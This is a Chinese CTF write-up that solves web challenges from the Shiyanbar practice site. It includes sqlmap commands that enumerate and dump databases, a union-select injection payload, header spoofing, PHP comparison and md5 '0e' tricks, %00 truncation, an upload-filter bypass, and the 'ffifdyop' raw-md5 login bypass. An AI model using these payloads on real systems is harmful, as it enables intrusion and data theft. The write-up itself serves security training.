实验吧CTF题库-WEB题(部分)
-
看起来有点难
提交admin
http: //ctf5 .shiyanbar.com /basic/inject/index .php?admin=admin&pass=admin&action=login |
用sqlmap检测是否有注入
┌─[root@sch01ar]─[ /sch01ar ] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" |
存在注入
对数据进行读取
┌─[root@sch01ar]─[ /sch01ar ] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dbs |
┌─[root@sch01ar]─[ /sch01ar ] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --tables -D "test" |
┌─[root@sch01ar]─[ /sch01ar ] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dump -T "admin" -D "test" |
读出账号密码
登陆,得到flag
-
猫抓老鼠
源代码没什么情况,也没有注入,抓包查看
go一下
返回包中有一个Content-Row: MTUxMjU4MzgwNA==
把MTUxMjU4MzgwNA==替换掉pass_key的1,go
得到flag
-
头有点大
根据提示,要用.net framework 9.9,地址来自英国,浏览器是IE
抓包改头,发包
得到flag
也通过可以设置Modify Headers
访问网页得到flag
-
貌似有点难
我访问的ip不在列表里,查看一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | <?php function GetIP(){ if (! empty ( $_SERVER [ "HTTP_CLIENT_IP" ])) $cip = $_SERVER [ "HTTP_CLIENT_IP" ]; else if (! empty ( $_SERVER [ "HTTP_X_FORWARDED_FOR" ])) $cip = $_SERVER [ "HTTP_X_FORWARDED_FOR" ]; else if (! empty ( $_SERVER [ "REMOTE_ADDR" ])) $cip = $_SERVER [ "REMOTE_ADDR" ]; else $cip = "0.0.0.0" ; return $cip ; } $GetIPs = GetIP(); if ( $GetIPs == "1.1.1.1" ){ echo "Great! Key is *********" ; } else { echo "错误!你的IP不在访问列表之内!" ; } ?> |
当ip为1.1.1.1时能得到flag
使用火狐插件X-Forwarded-For
把ip地址改为1.1.1.1
刷新网页,得到flag
-
这个看起来有点简单!
通过简单的判断,存在注入漏洞
直接上sqlmap
┌─[root@sch01ar]─[~] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs |
┌─[root@sch01ar]─[~] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --tables -D "my_db" |
┌─[root@sch01ar]─[~] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --columns -T "thiskey" -D "my_db" |
┌─[root@sch01ar]─[~] └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dump -C "k0y" -T "thiskey" -D "my_db" |
得到flag
-
PHP大法
访问地址,会提示访问index.php.txt
访问index.php.txt,得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <?php if ( eregi ( "hackerDJ" , $_GET [id])) { echo ( "<p>not allowed!</p>" ); exit (); } $_GET [id] = urldecode( $_GET [id]); if ( $_GET [id] == "hackerDJ" ) { echo "<p>Access granted!</p>" ; echo "<p>flag: *****************} </p>" ; } ?> <br><br> Can you authenticate to this website? |
第一个if语句,对传入的参数id和字符串"hackerDJ"进行判断,如果传入的参数id的值为"hackerDJ",则输出"not allowed"
参数id的值等于url解码后的参数id的值
第二个if语句,判断传入的参数id是否为hackerDJ,如果是的话就输出flag
因为对hackerDJ的一次url编码会被浏览器转为hackerDJ,所以要进行两次的url编码
得到flag
-
what a fuck!这是什么鬼东西?
这是JsFuck加密的,直接解码就好了
直接用工具
-
程序逻辑问题
右键查看源代码,发现一个txt
点击,得到index.php的源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | <html> <head> welcome to simplexue </head> <body> <?php if ( $_POST [user] && $_POST [pass]) { $conn = mysql_connect( "********, " ***** ", " ********"); mysql_select_db( "phpformysql" ) or die ( "Could not select database" ); if ( $conn ->connect_error) { die ( "Connection failed: " . mysql_error( $conn )); } $user = $_POST [user]; $pass = md5( $_POST [pass]); //对传入的pass变量进行md5加密,并赋给变量pass $sql = "select pw from php where user='$user'" ; $query = mysql_query( $sql ); //将查询语句的结果赋值给变量query if (! $query ) { //判断变量query是否为空 printf( "Error: %s\n" , mysql_error( $conn )); exit (); } $row = mysql_fetch_array( $query , MYSQL_ASSOC); //将变量query的值以MYSQL_ASSOC格式赋给变量row //echo $row["pw"]; if (( $row [pw]) && (! strcasecmp ( $pass , $row [pw]))) { //将变量row中的pw字段和pass的值进行忽略大小写的比较 echo "<p>Logged in! Key:************** </p>" ; } else { echo ( "<p>Log in failure!</p>" ); } } ?> <form method=post action=index.php> <input type=text name=user value= "Username" > <input type=password name=pass value= "Password" > <input type=submit> </form> </body> <a href= "index.txt" > </html> |
代码中没有判断变量user,只要变量row的pw字段和变量pass的值一样就能得到flag
构造payload:user=1' and 1=2 union select concat('21232f297a57a5a743894a0e4a801fc3')%23 &pass=admin
POST,得到flag
-
NSCTF web200
解密这段密文,写个php脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | <?php function decode( $str ) { $_ = '' ; $a = str_rot13 ( $str ); $b = strrev ( $a ); $c = base64_decode ( $b ); $d = strrev ( $c ); for ( $i =0; $i < strlen ( $d ); $i ++) { $_c = substr ( $d , $i ,1); $__ = ord( $_c )-1; $_c = chr ( $__ ); $_ = $_ . $_c ; } return $_ ; } echo decode( "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws" ); ?> |
运行脚本得到flag
-
上传绕过
选择一个jpg文件上传
上传的格式要是php的才行,但是不能直接上传php
用burp抓包改包
在上传路径后加一个以php格式结尾的,再截断
发送,得到flag
-
FALSE
题目给的提示
访问链接
点击查看源代码
1 2 3 4 5 6 7 8 9 10 11 12 | <?php if (isset( $_GET [ 'name' ]) and isset( $_GET [ 'password' ])) { if ( $_GET [ 'name' ] == $_GET [ 'password' ]) echo '<p>Your password can not be your name!</p>' ; else if (sha1( $_GET [ 'name' ]) === sha1( $_GET [ 'password' ])) die ( 'Flag: ' . $flag ); else echo '<p>Invalid password.</p>' ; } else { echo '<p>Login first!</p>' ; ?> |
传入的name和password不能一样,但是name和password的sha1加密的值得相等
想到的是传数组
http: //ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2 |
得到flag
-
Guess Next Session
猜下一个数,前面这几个数都是随机的
查看源代码
1 2 3 4 5 6 7 8 9 10 11 | <?php session_start(); if (isset ( $_GET [ 'password' ])) { if ( $_GET [ 'password' ] == $_SESSION [ 'password' ]) die ( 'Flag: ' . $flag ); else print '<p>Wrong guess.</p>' ; } mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000)); ?> |
当传入的password和$_SESSION['password']相等时才能得到flag
burp抓包
需要改两处地方
这两处置空,发包,得到flag
-
Once More
题目给了提示
题目提示,该题是php代码审计题,而且还跟ereg()函数有关,ereg()函数可以%00截断
访问链接
查看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | <?php if (isset ( $_GET [ 'password' ])) { if ( ereg ( "^[a-zA-Z0-9]+$" , $_GET [ 'password' ]) === FALSE) { echo '<p>You password must be alphanumeric</p>' ; } else if ( strlen ( $_GET [ 'password' ]) < 8 && $_GET [ 'password' ] > 9999999) //password的长度要小于8,但是password的大小要大于9999999,可以使用科学计数法 { if ( strpos ( $_GET [ 'password' ], '*-*' ) !== FALSE) //password里要有*-*才能得到flag { die ( 'Flag: ' . $flag ); } else { echo ( '<p>*-* have not been found</p>' ); } } else { echo '<p>Invalid password</p>' ; } } ?> |
password是一个数但是里面要有*_*,则要用到%00截断
最终构造:
http://ctf5.shiyanbar.com/web/more.php?password=1e8%00*-*
得到flag
-
忘记密码了
随便输入一个邮箱,点击提交
弹出了一个对话框
http://ctf5.shiyanbar.com/10/upload/step2.php?email=youmail@mail.com&check=???????
访问该链接,会出现该界面,但是一晃就跳转到原本的找回密码界面
那就抓包看看
代码是用vim编辑器写的,vim编辑器
还有一个submit.php,提交发送的地方
vim编辑器有一个特点,会生成一个临时的备份文件
submit.php生成的就是.submit.php.swp,因为其为隐藏文件,所以前面会有一个点
访问地址:http://ctf5.shiyanbar.com/10/upload/.submit.php.swp
看到了一段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | ........这一行是省略的代码........ /* 如果登录邮箱地址不是管理员则 die() 数据库结构 -- -- 表的结构 `user` -- CREATE TABLE IF NOT EXISTS `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) NOT NULL, `email` varchar(255) NOT NULL, `token` int(255) NOT NULL DEFAULT '0', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ; -- -- 转存表中的数据 `user` -- INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES (1, '****不可见***', '***不可见***', 0); */ ........这一行是省略的代码........ if(!empty($token)&&!empty($emailAddress)){ if(strlen($token)!=10) die( 'fail' ); //变量$token的长度要为10 if($token!= '0' ) die( 'fail' ); //变量$token的值要为0 $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'" ; $r = mysql_query($sql) or die( 'db error' ); $r = mysql_fetch_assoc($r); $r = $r[ 'num' ]; if($r>0){ echo $flag; } else { echo "失败了呀" ; } } |
$token的长度要为10,大小要为0,可以设置为0000000000
邮箱还要是管理员的邮箱
在burp返回的数据包中可以看到管理员邮箱为:admin@simplexue.com
接下来构造访问链接:http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000
访问,得到flag
-
天网管理系统
先右键查看网页源代码
传入的username的md5值要为0
PHP在处理哈希值时,会把每一个以0E开头的哈希值都解释为0
如果两个不同的字符串的md5值都是以0E开头的,那么PHP就会认为他们是相同,都是0
常见的有QNKCDZO
在用户名框处提交QNKCDZO
返回了一个地址
访问链接:http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer
题目提示,成也布尔,败也布尔
1 2 3 4 5 | $unserialize_str = $_POST [ 'password' ]; $data_unserialize = unserialize( $unserialize_str ); if ( $data_unserialize [ 'user' ] == '???' && $data_unserialize [ 'pass' ]== '???' ){ print_r( $flag ); } |
unserialize()函数将数据反序列化,serialize()函数将数据序列化
1 2 3 4 5 6 7 8 | <?php $a = array ( "user" => true, "pass" => true); $b = serialize( $a ); echo $b ; echo "<br>" ; $c = unserialize( $b ); print_r( $c ); ?> |
运行结果
把a:2:{s:4:"user";b:1;s:4:"pass";b:1;}作为密码,用户名为admin,登陆,得到flag
-
Forms
提交一个值
报错
右键查看源码
表单的默认值为0
不填表单直接提交,burp抓包
把0改成其它数字,发包
出现了php源代码
1 2 3 4 5 6 | $a = $_POST [ "PIN" ]; if ( $a == -19827747736161128312837161661727773716166727272616149001823847) { echo "Congratulations! The flag is $flag" ; } else { echo "User with provided PIN not found." ; } |
当提交的值为-19827747736161128312837161661727773716166727272616149001823847的时候就会返回flag
提交-19827747736161128312837161661727773716166727272616149001823847,得到flag
-
拐弯抹角
一上来就来了一大段的php代码
完整的php代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | <?php // code by SEC@USTC echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>' ; $URL = $_SERVER [ 'REQUEST_URI' ]; //echo 'URL: '.$URL.'<br/>'; $flag = "CTF{???}" ; $code = str_replace ( $flag , 'CTF{???}' , file_get_contents ( './index.php' )); $stop = 0; //这道题目本身也有教学的目的 //第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的 //所以,第一个要求就是不得出现 ./ if ( $flag && strpos ( $URL , './' ) !== FALSE){ $flag = "" ; $stop = 1; //Pass } //第二,我们可以构造 \ 来代替被过滤的 / //所以,第二个要求就是不得出现 ../ if ( $flag && strpos ( $URL , '\\' ) !== FALSE){ $flag = "" ; $stop = 2; //Pass } //第三,有的系统大小写通用,例如 indirectioN/ //你也可以用?和#等等的字符绕过,这需要统一解决 //所以,第三个要求对可以用的字符做了限制,a-z / 和 . $matches = array (); preg_match( '/^([0-9a-z\/.]+)$/' , $URL , $matches ); if ( $flag && empty ( $matches ) || $matches [1] != $URL ){ $flag = "" ; $stop = 3; //Pass } //第四,多个 / 也是可以的 //所以,第四个要求是不得出现 // if ( $flag && strpos ( $URL , '//' ) !== FALSE){ $flag = "" ; $stop = 4; //Pass } //第五,显然加上index.php或者减去index.php都是可以的 //所以我们下一个要求就是必须包含/index.php,并且以此结尾 if ( $flag && substr ( $URL , -10) !== '/index.php' ){ $flag = "" ; $stop = 5; //Not Pass } //第六,我们知道在index.php后面加.也是可以的 //所以我们禁止p后面出现.这个符号 if ( $flag && strpos ( $URL , 'p.' ) !== FALSE){ $flag = "" ; $stop = 6; //Not Pass } //第七,现在是最关键的时刻 //你的$URL必须与/indirection/index.php有所不同 if ( $flag && $URL == '/indirection/index.php' ){ $flag = "" ; $stop = 7; //Not Pass } if (! $stop ) $stop = 8; echo 'Flag: ' . $flag ; echo '<hr />' ; for ( $i = 1; $i < $stop ; $i ++) $code = str_replace ( '//Pass ' ; |
这里有7个条件判断url是否符合条件
1.不能有./ 2.不能有../ 3.不能有大写字母和?和#符号 4不能有// 5.必须以index.php结尾 6.index.php后面不能出现"."这个符号 7.url要和/indirection/index.php不一样
首先访问,http://ctf5.shiyanbar.com/indirection/index.php
后面多了个/
接着访问,http://ctf5.shiyanbar.com/indirection/index.php/index.php,得到flag
-
后台登录
右键查看源代码
有php源码
1 2 3 4 5 6 7 8 9 | <!-- $password = $_POST [ 'password' ]; $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '" .md5( $password ,true). "'" ; $result =mysqli_query( $link , $sql ); if (mysqli_num_rows( $result )>0){ echo 'flag is :' . $flag ; } else { echo '密码错误!' ; } --> |
直接提交.php前的字符串ffifdyop,得到flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
· 周边上新:园子的第一款马克杯温暖上架